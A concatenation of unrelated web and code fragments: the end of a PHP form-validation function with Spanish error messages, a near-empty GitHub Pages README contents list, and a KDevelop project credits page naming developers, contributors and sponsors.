$validatedata[$key] = $validation['error_message'];
} else {
$validatedata[$key] = $key." no puede ser nulo";
}
}
break;
case 'minsize':
// echo '<pre>';
// print_r(strlen($valor));
// echo '</pre>';
if ($valor != null && (strlen($valor) < $validation['minsize'])) {
if (array_key_exists('error_message', $validation)) {
$validatedata[$key] = $validation['error_message'];
} else {
$validatedata[$key] = $key." debe de tener más de ".$validation['minsize'];
}
}
break;
case 'maxsize':
if ($valor != null && (strlen($valor) > $validation['maxsize'])) {
if (array_key_exists('error_message', $validation)) {
$validatedata[$key] = $validation['error_message'];
} else {
$validatedata[$key] = $key." debe de tener más de ".$validation['maxsize'];
}
}
break;
}
}
}
}
if ($validatedata == null) {
$validatedata = true;
}
return $validatedata;
}
|
# woyuchengying.github.io
* [](
* [](
* [](
* [](
* [](
* [](
* [](
* [WEB](#web)
* [](
* [](
* [NoSQL](#nosql)
* [PostgreSQL](#postgresql)
* [MySQL](#mysql)
* [](
* [](
* [](
* [Web](#web)
* [](
* [](
* [](
|
<?php module_head("The KDevelop $k_series_version Team");?>
<h4>Main Developers: <a href="mailto:team at kdevelop.org">team at kdevelop.org</a></h4>
<a href="mailto:bernd at physik.hu-berlin.de">Bernd Gehrmann</a> Initial idea and architecture, much initial source code
<br>
<a href="mailto:caleb at aei-tech.com">Caleb Tenis</a> IDEAl mode, KTabBar, bugfixes
<br>
<a href="mailto:roberto at kdevelop.org">Roberto Raggi</a> QEditor component, code completion, Abbrev component, C++ support, Java support, persistant class store
<br>
<a href="mailto:jbb at kdevelop.org">John Birch</a> Debugger frontend
<br>
<a href="mailto:falk at kdevelop.org">Falk Brettschneider</a> MDI
<br>
<a href="mailto:jens.dagerbo at swipnet.se">Jens Dagerbo</a> Global search and replace, persistent bookmarks, FileList plugin, source history navigation, Optional automatic reload on external file modifications, CTAGS plugin
<br>
<a href="mailto:mario.scalas at libero.it">Mario Scalas</a> Part explorer, CVS integration, Cervisia integration
<br>
<a href="mailto:harry at kdevelop.org">Harald Fernengel</a> Valgrind, diff, preforce support
<br>
<a href="mailto:linux at jrockey.com">Julian Rockey</a> New File wizard
<br>
<a href="mailto:jsgaarde at tdcspace.dk">Jakob Simon-Gaarde</a> QMake based project manager
<br>
<a href="mailto:victor_roeder at gmx.de">Victor Röder</a> Automake project manager
<br>
<a href="mailto:geiseri at yahoo.com">Ian Reinhart Geiser</a> Application templates
<br>
<a href="mailto:smeier at kdevelop.org">Sandy Meier</a> PHP support, context menu stuff
<br>
<a href="mailto:cloudtemple at mksat.net">Alexander Dymo</a> Co-maintainer, Pascal support, C++ support, New File and Documentation parts, QMake manager, KDevAssistant application, toolbar classbrowser, Qt Designer integration
<br>
<a href="mailto:amilcar at ida ! ing ! tu-bs ! de">Amilcar do Carmo Lucas</a> Co-maintainer, KDevelop API documentation, website update, directory restructuring, bug-keeper, doxygen part
<br>
<a href="mailto:rgruber () users ! sourceforge ! net">Robert Gruber</a> Code Snippet plugin
<br>
<a href="mailto:jonas.jacobi at web.de">Jonas B. Jacobi</a> Doxygen preview and autocomment, classview
<br>
<a href="mailto:scunz at ng-projekt.de">Sascha Cunz</a> KDevLicense interface, application templates
<br>
<a href="mailto:child at t17.ds.pwr.wroc.pl">Marek Janukowicz</a> Ruby support
<br>
<a href="mailto:mathieu.chouinard at kdemail.net">Mathieu Chouinard</a> PDF,Djvu and PDB Documentation plugin, palmOS development support
<br>
<a href="mailto:">Andrew M. Patterson</a> GTK, GNOME and Bonobo application templates
<br>
<a href="mailto:Richard_Dale () tipitina ! demon ! co ! uk">Richard Dale</a> Ruby support
<br>
<a href="mailto:marchand () kde ! org">Mickael Marchand</a> SVN support
<br>
<br>
<h4>Program and Documentation Translations:</h4>
Please look at the
<a href="http://l10n.kde.org/teams-list.php"><API key> site</a> or visit the
<a href="index.html?filename=<?php echo $k_base_version; ?>/kdevelop_po_status.html">GUI translation status page</a> or visit the
<a href="http://l10n.kde.org/stats/doc/stable/package/kdevelop/">User Manual translation status page</a>.<br>
<br>
<br>
<h4>Additions, patches and bugfixes:</h4>
Oliver Kellogg <a href="mailto:okellogg at users.sourceforge.net"><okellogg at users.sourceforge.net></a><br>
Ajay Guleria <a href="mailto:ajay_guleria at yahoo.com"><ajay_guleria at yahoo.com></a><br>
Luc Willems <a href="mailto:Willems.luc at pandora.be"><Willems.luc at pandora.be></a><br>
Marcel Turino <a href="mailto:M.Turino at gmx.de"><M.Turino at gmx.de></a><br>
Tobias Gläßer <a href="mailto:tobi.web at gmx.de"><tobi.web at gmx.de></a><br>
Andreas Koepfle <a href="mailto:koepfle at ti.uni-mannheim.de"><koepfle at ti.uni-mannheim.de></a><br>
Dominik Haumann <a href="mailto:dhdev at gmx.de"><dhdev at gmx.de></a><br>
Alexander Neundorf <a href="mailto:neundorf () kde ! org"><neundorf () kde ! org></a><br>
Giovanni Venturi <a href="mailto:jumpyj () tiscali ! it"><jumpyj () tiscali ! it></a><br>
Stephan Binner <a href="mailto:binner () kde ! org"><binner () kde ! org></a><br>
Andras Mantia <amantia () kde ! org><br>
Stephan Kulow <coolo () kde ! org><br>
Adriaan de Groot <groot () kde ! org><br>
Matt Rogers <mattr () kde ! org><br>
Helge Deller <deller () kde ! org><br>
Helio Chissini de Castro <helio () conectiva ! com ! br><br>
Thomas Downing<br>
Oliver Maurhart<br>
Stefan Lang<br>
Vladimir Reshetnikov<br>
Zepplock<br>
Tom Albers <tomalbers () kde ! nl><br>
Benjamin Meyer <benjamin () csh ! rit ! edu><br>
Alexander Borghgraef<br>
Daniel Franke<br>
leo zhu<br>
Thomas Fischer<br>
Michael Nottebrock<br>
Carsten Lohrke<br>
Hendrik Kueck<br>
Yann Hodique <Yann.Hodique () lifl ! fr><br>
Lukas Tinkl <lukas kde.org><br>
Christian Loose<br>
Thomas Capricelli <orzel () kde ! org><br>
Scott Wheeler <wheeler () kde ! org><br>
Zack Rusin <zack () kde ! org><br>
Aaron Seigo <aseigo () kde ! org><br>
Tobias Erbsland <te () profzone ! ch><br>
Laurent Montel <montel () kde ! org><br>
Giovanni Venturi <jumpyj () tiscali ! it><br>
Jonathan Riddell <jri () jriddell ! org><br>
Martijn Klingens <klingens () kde ! org><br>
Volker Krause <volker.krause () rwth-aachen ! de><br>
George Staikos <staikos () kde ! org><br>
<br>
<h4>Startlogo</h4>
Ramón Lamana Villar <a href="mailto:ramon at alumnos.upm.es"><ramon at alumnos.upm.es></a><br>
<br>
<br>
<h4>Binary packages:</h4>
The RPM's are done by the distributors or are contributed by users to the http://download.kde.org site.
<?php
module_tail();
module_head("KDevelop Homepage");
?>
<h4>Content</h4>
Alexander Dymo <a href="mailto:cloudtemple at mksat.net"><cloudtemple at mksat.net></a><br>
Amilcar do Carmo Lucas <a href="mailto:amilcar at ida ! ing ! tu-bs ! de"><amilcar at ida ! ing ! tu-bs ! de></a><br>
<br>
<br>
<h4>Programming & Design</h4>
Sandy Meier <a href="mailto:smeier at kdevelop.de"><smeier at kdevelop.de></a><br>
Thomas Fromm <a href="mailto:tfromm at cs.uni-potsdam.de"><tfromm at cs.uni-potsdam.de></a><br>
Stefan Bartel <a href="mailto:bartel at rz.uni-potsdam.de"><bartel at rz.uni-potsdam.de></a><br>
Amilcar do Carmo Lucas <a href="mailto:amilcar at ida ! ing ! tu-bs ! de"><amilcar at ida ! ing ! tu-bs ! de></a><br>
<br>
<br>
<h4>Translations</h4>
<?php <API key>($k_base_version); ?>
<br>
<br>
<h4>Additional Software</h4>
PHP Forum <a href="http:
IRC applet <a href="http:
Doxygen <a href="http:
MRTG <a href="http:
GraphViz Site Map Generator <a href="http:
CvsChangeLogBuilder <a href="http:
jaxml, scanerrlog <a href="http:
phpRemoteView <a href="http:
Webalizer <a href="http:
<br>
<?php module_tail();?>
<?php module_head("Sponsors");
?>
Sascha Beyer <a href="mailto:Sascha.Beyer at gecits-eu.com"><Sascha.Beyer at gecits-eu.com></a> (kdevelop.org domain name)<br>
Fachschaftsrat Informatik, Universitä Potsdam (web server) <a href="http://fara.cs.uni-potsdam.de">fara.cs.uni-potsdam.de</a>
<?php module_tail();?>
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.